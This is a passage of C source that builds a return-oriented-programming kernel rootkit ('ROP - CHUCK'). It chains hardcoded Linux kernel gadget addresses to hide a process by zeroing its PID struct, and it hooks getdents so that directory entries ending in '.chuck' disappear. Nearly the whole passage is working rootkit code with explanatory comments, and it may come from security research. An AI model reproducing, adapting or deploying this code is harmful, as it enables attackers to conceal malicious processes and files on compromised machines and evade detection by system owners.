    // Debug output if enabled
    // RDX: Value to compare
    // RBX: Value to compare with
    generate_get_state_value(fake_stack, fake_stack_size,
                             DEBUG, REG_RDX);
   
    // Load value to compare with into RBX (0x1)
    generate_pop(fake_stack, fake_stack_size, REG_RBX);
    add_to_fake_stack(0x1, fake_stack, fake_stack_size);
   
    // Jump over the remainder if debugging is off
    jmp_no_debug = (*fake_stack);
    generate_conditional_jump_not_equal(fake_stack, fake_stack_size, 0x0);
    jmp_no_debug_size = (*fake_stack_size);
   
    // Move the value of PID_PARSE into RSI
    generate_get_state_value(fake_stack, fake_stack_size,
                             PID_PARSE, REG_RSI);
   
    // Use %% here to actually print the PID
    generate_printk(fake_stack, fake_stack_size,
                    "[ ROP - CHUCK ] [ DEBUG ] Hiding process with PID %%d\n");
   
    // Patch the jump from above
    generate_conditional_jump_not_equal(&jmp_no_debug,
                                        &jmp_no_debug_size,
                                        (*fake_stack_size) - jmp_no_debug_size);

    // ----------------------------------------------------------------
    // << DEBUG DONE
    // ================================================================    

 

    // ================================================================
    // >> PID HIDING
    // ----------------------------------------------------------------
    // To hide the process we will make use of the function
    //    struct pid * find_get_pid(size_t pid);
    // If the function returns a pid struct, we will set the number of
    // the PID to zero, which will hide the process. At the same time
    // we will also store the original number and the struct PID
    // pointer to unhide the struct later on.

    // Lets try to find the PID
    // For this we need to load the PID into RDI. We use a gadget
    // Containing a call RAX for this purpose. Thus we first setup RAX.
    // The gadget will simply pop the address pushed by the call.
    add_to_fake_stack(0xffffffff8100a4de, fake_stack, fake_stack_size);     // POP RAX; RET;
    add_to_fake_stack(0xffffffff8100a4de, fake_stack, fake_stack_size);     // Address of POP RAX; RET;
   
    // Next load the &PID_PARSE into RBX
    add_to_fake_stack(0xffffffff812ca859, fake_stack, fake_stack_size);     // POP RBX, RET;
    add_patch_entry(fake_stack, fake_stack_size, PID_PARSE, 0);             // Create a patch entry
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);                    // PID_PARSE,
                                                                            // must be overwritten by init
   
    // Load the VALUE of PID_PARSE into RDI
    add_to_fake_stack(0xffffffff8147d773, fake_stack, fake_stack_size);     // MOV RDI, [RBX]; CALL RAX;

    // Obtain the struct pid by invocing find_get_pid
    // Load Address of 'find_get_pid' into RAX
    add_to_fake_stack(0xffffffff8100a4de, fake_stack, fake_stack_size);     // POP RAX; RET;
    add_to_fake_stack(0xffffffff810793e0, fake_stack, fake_stack_size);     // Address of find_get_pid

    // "Call" find_get_pid
    add_to_fake_stack(0xffffffff81000110, fake_stack, fake_stack_size);     // JMP RAX;
    // RAX now contains the struct pid * or NULL

    // RAX is frequently used by gadgets and function calls. Currently
    // it contains the struct pid *. To avoid overwriting the pointer,
    // we save it to the TMP area within the state before we continue.
    add_to_fake_stack(0xffffffff81343c9e, fake_stack, fake_stack_size);     // POP RSI, RET;
    add_patch_entry(fake_stack, fake_stack_size, TMP, 0);                   // Create a patch entry
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);                    // TMP,
                                                                            // must be overwritten by init
    // RSI now points to TMP!


    // Save the pointer to TMP
    add_to_fake_stack(0xffffffff8102eaa1, fake_stack, fake_stack_size);     // MOV [RSI],RAX;
                                                                            // XOR EAX,EAX;
                                                                            // RET;

    // Check for a valid Pointer (not NULL) and jump over the remainder
    // in case the PID was not found (= pointer is NULL).
    // We update this location at the end of the function!
    // RBX must contain the value to compare with
    // RDX must contain the value to compare
   
    // Load TMP into RDX
    generate_get_state_value(fake_stack, fake_stack_size,
                             TMP, REG_RDX);
   
    // Load value to compare with into RBX (0x0)
    generate_pop(fake_stack, fake_stack_size, REG_RBX);
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);
   
    jmp_no_valid_pid = (*fake_stack);
    generate_conditional_jump_equal(fake_stack, fake_stack_size, 0x0);
    jmp_no_valid_pid_size = (*fake_stack_size);

    // PID was found, store the struct pointer and the PID in the PID_ARRAY
    // For this purpose we load the address we want to move to into RSI.
    // To achieve this we first move the address to RDI and then to RSI.

    // Load address of PID_ARRAY into RDI
    add_to_fake_stack(0xffffffff8135469f, fake_stack, fake_stack_size);     // POP RDI, RET;
    add_patch_entry(fake_stack, fake_stack_size, PID_ARRAY, 0);             // Create a patch entry
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);                    // PID_ARRAY,
                                                                            // must be overwritten by init

    // Next load current PID_INDEX into RAX
    add_to_fake_stack(0xffffffff8100a4de, fake_stack, fake_stack_size);     // POP RAX; RET;
    add_patch_entry(fake_stack, fake_stack_size, PID_INDEX, 0);             // Create a patch entry
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);                    // PID_INDEX,
                                                                            // must be overwritten by init

    // We want the VALUE of PID_INDEX not its address
    add_to_fake_stack(0xffffffff81074b56, fake_stack, fake_stack_size);     // MOV RAX, [RAX]; RET;

    // Add index to address
    add_to_fake_stack(0xffffffff811c98de, fake_stack, fake_stack_size);     // ADD RDI, RAX;
                                                                            // MOV RAX,RDI;
                                                                            // RET;
    // Move RDI to RSI
    // Gadget uses a CALL RCX, so set up RCX first.
    // Simply pop the value pushed by the call from the stack.
    add_to_fake_stack(0xffffffff81005190, fake_stack, fake_stack_size);     // POP RCX; RET
    add_to_fake_stack(0xffffffff81005190, fake_stack, fake_stack_size);     // Address POP RCX; RET

    // IMPORTANT: Since RAX and RDI contain the SAME value at this
    // point, RDI remains unchanged!
    add_to_fake_stack(0xffffffff811cc08e, fake_stack, fake_stack_size);     // MOV RSI, RDI;
                                                                            // MOV RDI, RAX;
                                                                            // RET;
    // RSI now points to the free entry in the array.
    // Now we can move the values there.
    // First the PID
    add_to_fake_stack(0xffffffff8100a4de, fake_stack, fake_stack_size);     // POP RAX; RET;
    add_patch_entry(fake_stack, fake_stack_size, PID_PARSE, 0);             // Create a patch entry
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);                    // PID_PARSE,
                                                                            // must be overwritten by init

    // We want the VALUE within PID_PARSE
    add_to_fake_stack(0xffffffff81074b56, fake_stack, fake_stack_size);     // MOV RAX, [RAX]; RET;

    // Move
    add_to_fake_stack(0xffffffff8102eaa1, fake_stack, fake_stack_size);     // MOV [RSI],RAX;
                                                                            // XOR EAX,EAX;
                                                                            // RET;

    // Increment RSI by 8
    // Again this is done by incrementing RDI and moving to RSI.
    // Since we have not touched RDI it still has the same value as RSI!
    add_to_fake_stack(0xffffffff8100a4de, fake_stack, fake_stack_size);     // POP RAX; RET;
    add_to_fake_stack(0x8, fake_stack, fake_stack_size);                    // Increment 0x8

    // Add to address
    add_to_fake_stack(0xffffffff811c98de, fake_stack, fake_stack_size);     // ADD RDI, RAX;
                                                                            // MOV RAX,RDI;
                                                                            // RET;
   
    // Move RDI to RSI
    // Gadget uses a CALL RCX, so set up RCX first.
    // Simply pop the value pushed by the call from the stack.
    add_to_fake_stack(0xffffffff81005190, fake_stack, fake_stack_size);     // POP RCX; RET
    add_to_fake_stack(0xffffffff81005190, fake_stack, fake_stack_size);     // Address POP RCX; RET
   
    add_to_fake_stack(0xffffffff811cc08e, fake_stack, fake_stack_size);     // MOV RSI, RDI;
                                                                            // MOV RDI, RAX;
                                                                            // RET;
    // RSI now points to the free entry in the array.
    // Next we move the struct PID pointer, which is currently stored
    // in TMP
    add_to_fake_stack(0xffffffff8100a4de, fake_stack, fake_stack_size);     // POP RAX; RET;
    add_patch_entry(fake_stack, fake_stack_size, TMP, 0);                   // Create a patch entry
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);                    // TMP,
                                                                            // must be overwritten by init

    // We want the VALUE within TMP
    add_to_fake_stack(0xffffffff81074b56, fake_stack, fake_stack_size);     // MOV RAX, [RAX]; RET;

    // Move
    add_to_fake_stack(0xffffffff8102eaa1, fake_stack, fake_stack_size);     // MOV [RSI],RAX;
                                                                            // XOR EAX,EAX;
                                                                            // RET;

 

    // Now we must increase the PID_INDEX by 16, since we added two
    // values to the array.
    // As we do not have an offset in this case we can load the address
    // directly into RSI.
    add_to_fake_stack(0xffffffff81343c9e, fake_stack, fake_stack_size);     // POP RSI; RET;
    add_patch_entry(fake_stack, fake_stack_size, PID_INDEX, 0);             // Create a patch entry
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);                    // PID_INDEX,
                                                                            // must be overwritten by init
   
    // Load PID_INDEX's value into RAX
    add_to_fake_stack(0xffffffff8100a4de, fake_stack, fake_stack_size);     // POP RAX; RET;
    add_patch_entry(fake_stack, fake_stack_size, PID_INDEX, 0);             // Create a patch entry
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);                    // PID_INDEX,
                                                                            // must be overwritten by init

    // We want the VALUE within PID_INDEX
    add_to_fake_stack(0xffffffff81074b56, fake_stack, fake_stack_size);     // MOV RAX, [RAX]; RET;

    // Load offset (16) into RDI
    add_to_fake_stack(0xffffffff8135469f, fake_stack, fake_stack_size);     // POP RDI; RET
    add_to_fake_stack(0x10, fake_stack, fake_stack_size);                   // OFFSET

    // Add offset to RAX
    add_to_fake_stack(0xffffffff8104c41d, fake_stack, fake_stack_size);     // ADD RAX, RDI; RET   

    // Move
    add_to_fake_stack(0xffffffff8102eaa1, fake_stack, fake_stack_size);     // MOV [RSI],RAX;
                                                                            // XOR EAX,EAX;
                                                                            // RET;
    // At this point: PID_INDEX += 16

 

    // Finally do the actual hiding.
    // Load struct pid pointer into RAX. The pointer is still in TMP.
    add_to_fake_stack(0xffffffff8100a4de, fake_stack, fake_stack_size);     // POP RAX; RET;
    add_patch_entry(fake_stack, fake_stack_size, TMP, 0);                   // Create a patch entry
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);                    // TMP,
                                                                            // must be overwritten by init

    // We want the VALUE within TMP
    add_to_fake_stack(0xffffffff81074b56, fake_stack, fake_stack_size);     // MOV RAX, [RAX]; RET;
    // The struct pid pointer is now in RAX

    // Set pid_struct->number[0].nr to 0 (this is the PID)
    // For our kernel this is pointer + 0x30
    // Load offset (0x30) into RDI
    add_to_fake_stack(0xffffffff8135469f, fake_stack, fake_stack_size);     // POP RDI; RET
    add_to_fake_stack(0x30, fake_stack, fake_stack_size);                   // OFFSET

    // Add offset to pointer
    add_to_fake_stack(0xffffffff8104c41d, fake_stack, fake_stack_size);     // ADD RAX, RDI; RET

    // Move zero to the location
    add_to_fake_stack(0xffffffff812ce029, fake_stack, fake_stack_size);     // POP RDX; RET
    add_to_fake_stack(0x0,                fake_stack, fake_stack_size);     // New PID == 0x0
    add_to_fake_stack(0xffffffff8115c832, fake_stack, fake_stack_size);     // MOV [RAX],RDX; RET     
    // Process should now be hidden!

    // ----------------------------------------------------------------
    // << PID HIDING DONE
    // ================================================================

 

    // ================================================================
    // >> EPILOG
    // ----------------------------------------------------------------
    // Finally we have to patch the conditional jumps that jumps over
    // the entire sequence, if  the command entered is not chuck!h.
    // IMPORTANT: Do not update the fake_stack pointers, as we overwrite
    // an existing area
   
    // Jump over the remainder in case we hid the PID
    // must be patched later on!
    jmp_pid_hid = (*fake_stack);
    generate_stack_increment(fake_stack, fake_stack_size, 0x0);
    jmp_pid_hid_size = (*fake_stack_size);
   
    // First if we could not find the PID
    generate_conditional_jump_equal(&jmp_no_valid_pid,
                                    &jmp_no_valid_pid_size,
                                    (*fake_stack_size) - jmp_no_valid_pid_size);
   
    // Debug output if enabled
    // RDX: Value to compare
    // RBX: Value to compare with
    generate_get_state_value(fake_stack, fake_stack_size,
                             DEBUG, REG_RDX);
   
    // Load value to compare with into RBX (0x1)
    generate_pop(fake_stack, fake_stack_size, REG_RBX);
    add_to_fake_stack(0x1, fake_stack, fake_stack_size);
   
    // Jump over the remainder if debugging is off
    jmp_no_debug = (*fake_stack);
    generate_conditional_jump_not_equal(fake_stack, fake_stack_size, 0x0);
    jmp_no_debug_size = (*fake_stack_size);
   
    // Move the value of PID_PARSE into RSI
    generate_get_state_value(fake_stack, fake_stack_size,
                             PID_PARSE, REG_RSI);
   
    // Use %% here to actually print the PID
    generate_printk(fake_stack, fake_stack_size,
                    "[ ROP - CHUCK ] [ DEBUG ] Could not find process with PID %%d!\n");
   
    // Patch the jump from above
    generate_conditional_jump_not_equal(&jmp_no_debug,
                                        &jmp_no_debug_size,
                                        (*fake_stack_size) - jmp_no_debug_size);
   
   
    // Now the jump that is executed if this is not a hide command
    generate_conditional_jump_not_equal(&jmp_not_command,
                                        &jmp_not_command_size,
                                        (*fake_stack_size) - jmp_not_command_size);
   
    // Finally the stack increment
    generate_stack_increment(&jmp_pid_hid,
                             &jmp_pid_hid_size,
                             (*fake_stack_size) - jmp_pid_hid_size);
}

/**
 * This function will create and setup our payload fake stack.
 *
 * This gadget uses ALL general purpose registers!
 *
 * IMPORTANT: This function is NOT stack safe!
 */
static void create_payload_fake_stack(void)
{
    // Vars
   
    // Check for sys_read
    void *jmp_to_read = 0;
    u32 jmp_to_read_size = 0;
   
    // Jump done getdents loop
    void *jmp_getdents_done = 0;
    u32 jmp_getdents_done_size = 0;
    u32 loop_begin = 0;
   
    // Jump within getdents
    void *jmp_no_point = 0;
    u32 jmp_no_point_size = 0;
   
    void *jmp_no_hide_ext = 0;
    u32 jmp_no_hide_ext_size = 0;
   
    void *jmp_over_counter_inc = 0;
    u32 jmp_over_counter_inc_size = 0;
   
    // Check for STDIN
    void *jmp_to_read_handler = 0;
    u32 jmp_to_read_handler_size = 0;
   
    // Check for single byte read
    void *jmp_to_epilog = 0;
    u32 jmp_to_epilog_size = 0;
   
    printf(" [+] Creating payload fake stack...\n");
    payload_stack = malloc(PAYLOAD_STACK_SIZE);

    if (!payload_stack)
    {
            error(-1, 0, " \t[!] Failed to reserve memory for the payload fake stack!\n");
    }

    printf(" \t[*] Payload fake stack @ %p\n", payload_stack);

    // Payload stack must be adapted according to the scenario it
    // is used in. In our case we want to intercept the read system
    // call.
   
    // ================================================================
    // >> DETERMINE SYSCALL
    // ----------------------------------------------------------------
    // Is this a getdents or a read system call?
    // We get this information from the system call handler.
    // For this to work we first need the location of the original
    // kernel stack.
   
    // ----------------------------------------------------------------
    // Get the location of the original kernel stack
    // ----------------------------------------------------------------
    // Lets first calculate the address of the kernel stack.
    // For this we move the address of the per_cpu kernel stack into RAX.
    // This address is contained in gs:0xc730. It is a fixed address for
    // our target machine.
    add_to_fake_stack(0xffffffff8100a4de, &payload_stack, &payload_stack_size);  // POP RAX; RET;
    add_to_fake_stack(0xffff88003d80c730, &payload_stack, &payload_stack_size);  // gs:0xc730

    // We want the VALUE at this address
    add_to_fake_stack(0xffffffff81074b56, &payload_stack, &payload_stack_size);  // MOV RAX, [RAX]; RET
   
    // RAX is stored at rsp - 0x30
    add_to_fake_stack(0xffffffff81343c9e, &payload_stack, &payload_stack_size);  // POP RSI; RET;
    add_to_fake_stack(0x30, &payload_stack, &payload_stack_size);                // Offset to RAX
   
    // We now have to SUBSTRACT (the stack grows down!) this value from the
    // kernel stack in RAX to get the value the SP had before our sysenter
    // hook was invoked.
    add_to_fake_stack(0xffffffff8158f734, &payload_stack, &payload_stack_size);  // SUB RAX, RSI; RET;
   
    // Finally we want the value at the address.
    add_to_fake_stack(0xffffffff81074b56, &payload_stack, &payload_stack_size);  // MOV RAX, [RAX]; RET;
    // The system call number is now in RAX!
   
    // Save the system call number
    generate_set_state_value(&payload_stack, &payload_stack_size,
                             RAX, REG_RAX);
   
    // ----------------------------------------------------------------
    // Dispatch system call
    // ----------------------------------------------------------------
    // Next we want to compare the system call number will 0x0 (sys_read).
    // If it matches, we want to jump to sys_read. Otherwise we directly
    // flow into sys_getdents. As the getdents handler follows this
    // part of the chain, a jump is not needed in this case.
   
    // RBX must contain the value to compare with
    // RDX must contain the value to compare
    // RDX -> system call number
    generate_get_state_value(&payload_stack, &payload_stack_size,
                             RAX, REG_RDX);
   
    // RBX -> 0 (sys_read)
    generate_pop(&payload_stack, &payload_stack_size, REG_RBX);
    add_to_fake_stack(0x0, &payload_stack, &payload_stack_size);
   
    // Jump placeholder. Will be fixed at the end.
    jmp_to_read = payload_stack;
    generate_conditional_jump_equal(&payload_stack, &payload_stack_size, 0x0);
    jmp_to_read_size = payload_stack_size;
   
    // ----------------------------------------------------------------
    // << DETERMINE SYSCALL DONE
    // ================================================================
   
   
    // ================================================================
    // ================================================================
    // GETDENTS SYSTEM CALL!
   
    // ================================================================
    // >> EXECUTE GETDENTS
    // ----------------------------------------------------------------
    // Our payload requires the result of the getdents system call. Thus
    // we start by executing it.
    // First load all the arguments (RDI, RSI, RDX)
   
    // ----------------------------------------------------------------
    // LOAD RSI
    // ----------------------------------------------------------------
    generate_get_state_value(&payload_stack, &payload_stack_size,
                             RSI, REG_RSI);
   
    // ----------------------------------------------------------------
    // LOAD RDI
    // ----------------------------------------------------------------
    // We cannot make use of the normal gadget as it uses RDI.
    // Thus we use the unsafe gadget.
    generate_get_state_value_unsafe(&payload_stack, &payload_stack_size,
                                    RDI, REG_RDI);
   
    // ----------------------------------------------------------------
    // LOAD RDX
    // ----------------------------------------------------------------
    // RDX must be last, since the get_state_value_unsafe gadget
    // sequence uses it.
    generate_get_state_value_unsafe(&payload_stack, &payload_stack_size,
                                    RDX, REG_RDX);

    // ----------------------------------------------------------------
    // Invoke SYS_GETDENTS
    // ----------------------------------------------------------------
    // Load Address of 'sys_getdents' into RAX
    add_to_fake_stack(0xffffffff8100a4de, &payload_stack, &payload_stack_size);  // POP RAX; RET;
    add_to_fake_stack(0xffffffff811a63a0, &payload_stack, &payload_stack_size);  // Address of sys_getdents
   
    // Enable interrupts
    add_to_fake_stack(0xffffffff81066b92, &payload_stack, &payload_stack_size);  // STI; RET;

    // "Call" sys_getdents
    add_to_fake_stack(0xffffffff81000110, &payload_stack, &payload_stack_size);  // JMP RAX;
    // RAX now contains the return value of sys_getdents
   
    // Read my reenable interrupts. So we make sure they are off when
    // we return.
    add_to_fake_stack(0xffffffff811e3492, &payload_stack, &payload_stack_size);  // CLI; RET;

    // Save the return value such that we later can hand control back to the
    // system call handler
    add_to_fake_stack(0xffffffff81343c9e, &payload_stack, &payload_stack_size);  // POP RSI, RET;
    add_patch_entry(&payload_stack, &payload_stack_size, RAX, 0);                // Create a patch entry
    add_to_fake_stack(0x0, &payload_stack, &payload_stack_size);                 // RAX
                                                                                 // must be overwritten by init
    // RSI now points to RAX within the state!


    // Save the return value within the state
    add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size);  // MOV [RSI],RAX;
                                                                                 // XOR EAX,EAX;
                                                                                 // RET;
    // ----------------------------------------------------------------
    // << EXECUTE GETDENTS DONE
    // ================================================================

    // ================================================================
    // >> FUNCTIONALITY GETDENTS
    // ----------------------------------------------------------------
    // This area contains the actual funtionality.
    // Alrighty, we want to hide all entries that end with ".chuck".
    // To do this we loop over all entries in the struct returned by
    // Getdents.
   
    // ----------------------------------------------------------------
    // SEARCH LOOP
    // ----------------------------------------------------------------
    generate_pop(&payload_stack, &payload_stack_size, REG_RSI);
    add_to_fake_stack(0x0, &payload_stack, &payload_stack_size);                        // Counter is zero at the
                                                                                        // beginning.
   
    // LOOP_BEGIN:
    loop_begin = (*&payload_stack_size);
   
    // Did we reach the end of the struct? To see this, we have to
    // compare the return value with the current counter value.
    // First we load the return value of getdents into RBX.
    generate_get_state_value(&payload_stack, &payload_stack_size,
                             RAX, REG_RBX);
   
    // Next we load the counter (RSI) into RDX
    generate_move_to_rax(&payload_stack, &payload_stack_size, REG_RSI);
    generate_move_from_rax(&payload_stack, &payload_stack_size, REG_RDX);
   
    // Compare. If this is the end of the struct go to EPILOG
    jmp_getdents_done = payload_stack;
    generate_conditional_jump_equal(&payload_stack, &payload_stack_size, 0x0);
    jmp_getdents_done_size = payload_stack_size;
   
    // Okay. We now want to check wether the current entry ends
    // with ".chuck". For this to work we first need to find
    // the last occurrence of a "." in the current entry.
   
    // We use a call to strrchr for this purpose.
    // Prepare an external function call to strrchr on the kernel stack,
   
    // First temporarily save the counter
    generate_set_state_value(&payload_stack, &payload_stack_size,
                             COUNTER, REG_RSI);
   
    // Obtain the record_size
    // Load base address into RSI
    generate_get_state_value(&payload_stack, &payload_stack_size,
                             RSI, REG_RSI);
   
    // Load the counter value into RAX
    generate_get_state_value(&payload_stack, &payload_stack_size,
                             COUNTER, REG_RAX);
   
    // Recored length begins 16 bytes after the counter
    generate_add_value(&payload_stack, &payload_stack_size,
                       16, REG_RAX);
   
    // Add buffer to offset
    add_to_fake_stack(0xffffffff81047bfa, &payload_stack, &payload_stack_size);         // ADD RAX, RSI; RET;
    // RAX now points to record length.
   
    // Get the value at the address!
    add_to_fake_stack(0xffffffff81074b57, &payload_stack, &payload_stack_size);         // MOV EAX, [RAX]; RET

    // Load mask into RDX
    generate_pop(&payload_stack, &payload_stack_size, REG_RDX);
    add_to_fake_stack(0xffff, &payload_stack, &payload_stack_size);                     // 0xffff
   
    // Remove all but the first two bytes
    add_to_fake_stack(0xffffffff815af5a9, &payload_stack, &payload_stack_size);         // AND EAX,EDX; RET;

    // Safe the record size in TMP
    generate_set_state_value(&payload_stack, &payload_stack_size,
                             TMP, REG_RAX);
   
    // Load the arguments into their respective locations.
    // strrchr expects two arguments
    // RDI: The string to search
    // RSI: The character to search for.
    // Load the buffer (original value of RSI) into RSI
    generate_get_state_value(&payload_stack, &payload_stack_size,
                             RSI, REG_RSI);
   
    // Load the counter value into RAX
    generate_get_state_value(&payload_stack, &payload_stack_size,
                             COUNTER, REG_RAX);
   
    // String begins 18 bytes after the counter
    generate_add_value(&payload_stack, &payload_stack_size,
                       18, REG_RAX);
   
    // Add buffer to offset
    add_to_fake_stack(0xffffffff81047bfa, &payload_stack, &payload_stack_size);         // ADD RAX, RSI; RET;
    // RAX now points to string.
   
    // Store this value.
    generate_set_state_value(&payload_stack, &payload_stack_size,
                             TMP_RDI, REG_RAX);
    // 1st argument ready.
   
    // Now 2nd argument. We search for "."
    generate_pop(&payload_stack, &payload_stack_size, REG_RAX);
    add_to_fake_stack(0x2e, &payload_stack, &payload_stack_size);                       // "."

    // Store this value.
    generate_set_state_value(&payload_stack, &payload_stack_size,
                             TMP_RSI, REG_RAX);
    // 2nd argument ready.
   
    // Call "strrchr"
    generate_external_call(&payload_stack, &payload_stack_size,
                           0xffffffff8134efe0);                                        // Address of strrchr
    // RAX now contains the location or NULL.
   
    // Save the return value
    generate_set_state_value(&payload_stack, &payload_stack_size,
                             TMP_RAX, REG_RAX);
   
    // Jmp if value is NULL
    // RDX must conatin the return value.
    generate_get_state_value(&payload_stack, &payload_stack_size,
                             TMP_RAX, REG_RDX);
   
    // RBX value to compare with
    generate_pop(&payload_stack, &payload_stack_size, REG_RBX);
    add_to_fake_stack(0x0, &payload_stack, &payload_stack_size);                       // NULL

    jmp_no_point = payload_stack;
    generate_conditional_jump_equal(&payload_stack, &payload_stack_size, 0x0);
    jmp_no_point_size = payload_stack_size;
   
    // THIS PART IS ONLY EXECUTED IF THE POINTER RETURNED BY STRRCHR
    // IS != NULL
   
    // Prepare call to strncmp.
    // 1st RDI, which must be set to the pointer returned by STRRCHR
    generate_get_state_value(&payload_stack, &payload_stack_size,
                             TMP_RAX, REG_RAX);
   
    generate_set_state_value(&payload_stack, &payload_stack_size,
                             TMP_RDI, REG_RAX);
    // 1st argument done.
   
    // 2nd RSI, which must point to the string we want to compare to
    // we abuse TMP_RAX for this purpose.
    // Load extension into TMP_RAX
    generate_pop(&payload_stack, &payload_stack_size, REG_RAX);
    add_to_fake_stack(0x00006b637568632e, &payload_stack, &payload_stack_size);        // ".chuck\x00\x00"
   
    generate_set_state_value(&payload_stack, &payload_stack_size,
                             TMP_RAX, REG_RAX);
   
    // Load pointer to TMP RAX into TMP RSI
    generate_pop(&payload_stack, &payload_stack_size, REG_RAX);                        // POP RAX; RET;
    add_patch_entry(&payload_stack, &payload_stack_size, TMP_RAX, 0x0);
    add_to_fake_stack(0x0, &payload_stack, &payload_stack_size);                       // Will be overwritten
   
    generate_set_state_value(&payload_stack, &payload_stack_size,
                             TMP_RSI, REG_RAX);
    // 2nd argument done.
   
    // 3rd RDX, which must contain the size to compare.
    generate_pop(&payload_stack, &payload_stack_size, REG_RAX);                        // POP RAX; RET;
    add_to_fake_stack(0x6, &payload_stack, &payload_stack_size);                       // 6 (.chuck)
   
    generate_set_state_value(&payload_stack, &payload_stack_size,
                             TMP_RDX, REG_RAX);
    // 3rd argument done
   
    // Call strncmp
    generate_external_call(&payload_stack, &payload_stack_size,
                           0xffffffff8134ef40);                                        // Address of 'strncmp'
    // RAX contains the result.
   
    // Jump if RAX is not zero!
    // => strings are different
    // RDX must conatin the return value.
    generate_move_from_rax(&payload_stack, &payload_stack_size, REG_RDX);
   
    // RBX value to compare with
    generate_pop(&payload_stack, &payload_stack_size, REG_RBX);
    add_to_fake_stack(0x0, &payload_stack, &payload_stack_size);                       // 0x0

    jmp_no_hide_ext = payload_stack;
    generate_conditional_jump_not_equal(&payload_stack, &payload_stack_size, 0x0);
    jmp_no_hide_ext_size = payload_stack_size;
   
    // THIS PART IS ONLY EXECUTED IF THE EXTENSION WAS FOUND!
    // Now we need to use memcpy and update the struct.
    // 1st RDI, which must contain the destination pointer
    // Load base address into RSI
    generate_get_state_value(&payload_stack, &payload_stack_size,
                             RSI, REG_RSI);
   
    // Load the counter value into RAX
    generate_get_state_value(&payload_stack, &payload_stack_size,
                             COUNTER, REG_RAX);
   
    // Add buffer to offset
    add_to_fake_stack(0xffffffff81047bfa, &payload_stack, &payload_stack_size);         // ADD RAX, RSI; RET;
    // RAX now points to string.
   
    // Store this value.
    generate_set_state_value(&payload_stack, &payload_stack_size,
                             TMP_RDI, REG_RAX);
   
    // 1st argument done.
   
    // 2nd RSI, which must point after the current entry.
    // We can calculate the source address
    // source = base + counter + record_size
    // Load base address into RSI
    generate_get_state_value(&payload_stack, &payload_stack_size,
                             RSI, REG_RSI);
   
    // Load record_size into RDX
    generate_get_state_value(&payload_stack, &payload_stack_size,
                             TMP, REG_RDX);
   
    // Load the counter value into RAX
    generate_get_state_value(&payload_stack, &payload_stack_size,
                             COUNTER, REG_RAX);
   
    // Add base to counter
    add_to_fake_stack(0xffffffff81047bfa, &payload_stack, &payload_stack_size);         // ADD RAX, RSI; RET;

    // Add record_size to counter
    add_to_fake_stack(0xffffffff8101baf1, &payload_stack, &payload_stack_size);         // ADD RAX, RDX; RET

    // Safe
    generate_set_state_value(&payload_stack, &payload_stack_size,
                             TMP_RSI, REG_RAX);
   
    // 2nd argument done.
   
    // 3rd RDX, the length to copy.
    // This is the original return value - counter - record_size
    // In this process we will also update the Return value,
    // which must be decreased by record_size
    // Load record_size into RSI
    generate_get_state_value(&payload_stack, &payload_stack_size,
                             TMP, REG_RSI);
   
    // Load return value in RAX
    generate_get_state_value(&payload_stack, &payload_stack_size,
                             RAX, REG_RAX);
   
    add_to_fake_stack(0xffffffff8158f734, &payload_stack, &payload_stack_size);         // SUB RAX, RSI; RET;
    // RAX now contains the new return value.
   
    // Save.
    generate_set_state_value(&payload_stack, &payload_stack_size,
                             RAX, REG_RAX);
   
    // Now substract counter to use it as 3rd argument
    // Load counter into RSI
    generate_get_state_value(&payload_stack, &payload_stack_size,
                             COUNTER, REG_RSI);
   
    // Load return value in RAX
    generate_get_state_value(&payload_stack, &payload_stack_size,
                             RAX, REG_RAX);
   
    add_to_fake_stack(0xffffffff8158f734, &payload_stack, &payload_stack_size);         // SUB RAX, RSI; RET;
   
    // Save
    generate_set_state_value(&payload_stack, &payload_stack_size,
                             TMP_RDX, REG_RAX);
   
    // 3rd argument done.
  
    // Call memcopy
    generate_external_call(&payload_stack, &payload_stack_size,
                           0xffffffff81354190);                                         // Address of 'memcpy'
   
    // The next sequence will patch the jumps and increase the counter.
    // IMPORTANT: We only need to increase the counter if we did NOT use memcpy.
    //            Otherwise the counter will skip an entry!
    // As we do not know the size yet, we have to patch this increment.
    jmp_over_counter_inc = payload_stack;
    generate_stack_increment(&payload_stack, &payload_stack_size, 0x0);
    jmp_over_counter_inc_size = payload_stack_size;
   
    // JUMPS from strrchr or strncmp will land here!
    // Patch jumps that do no exit the loop (strrchr fail or strncmp fail)
    // strrchr
    generate_conditional_jump_equal(&jmp_no_point,
                                    &jmp_no_point_size,
                                    payload_stack_size - jmp_no_point_size);
   
    // strcmp
    generate_conditional_jump_not_equal(&jmp_no_hide_ext,
                                        &jmp_no_hide_ext_size,
                                        payload_stack_size - jmp_no_hide_ext_size);
   
    // Increase the counter by record size
    // Load record_size into RSI
    generate_get_state_value(&payload_stack, &payload_stack_size,
                             TMP, REG_RSI);
   
    // Load counter into RAX
    generate_get_state_value(&payload_stack, &payload_stack_size,
                             COUNTER, REG_RAX);
   
    // Add
    add_to_fake_stack(0xffffffff81047bfa, &payload_stack, &payload_stack_size);          // ADD RAX, RSI; RET;
   
    // Save counter
    generate_set_state_value(&payload_stack, &payload_stack_size,
                             COUNTER, REG_RAX);

    // This must be executed in every case exit for the exit jump!
    // Thus we have to patch the increment from before
    generate_stack_increment(&jmp_over_counter_inc,
                             &jmp_over_counter_inc_size,
                             payload_stack_size - jmp_over_counter_inc_size);
   
    // Move counter back to RSI before we jump to the beginning of the loop
    generate_get_state_value(&payload_stack, &payload_stack_size,
                             COUNTER, REG_RSI);
   
    // Jump back up to LOOP_BEGIN
    generate_stack_decrement(&payload_stack, &payload_stack_size,
                             payload_stack_size - loop_begin);
   
    // Patch exit jump
    generate_conditional_jump_equal(&jmp_getdents_done,
                                    &jmp_getdents_done_size,
                                    payload_stack_size - jmp_getdents_done_size);
   
   
    // ----------------------------------------------------------------
    // << FUNCTIONALITY GETDENTS DONE
    // ================================================================

    // ================================================================
    // >> EPILOG GETDENTS
    // ----------------------------------------------------------------
    // In the epilog we must restore the callee saved registers (RBX,
    // RBP), the return value, and hand control back to the original
    // kernel execution path.

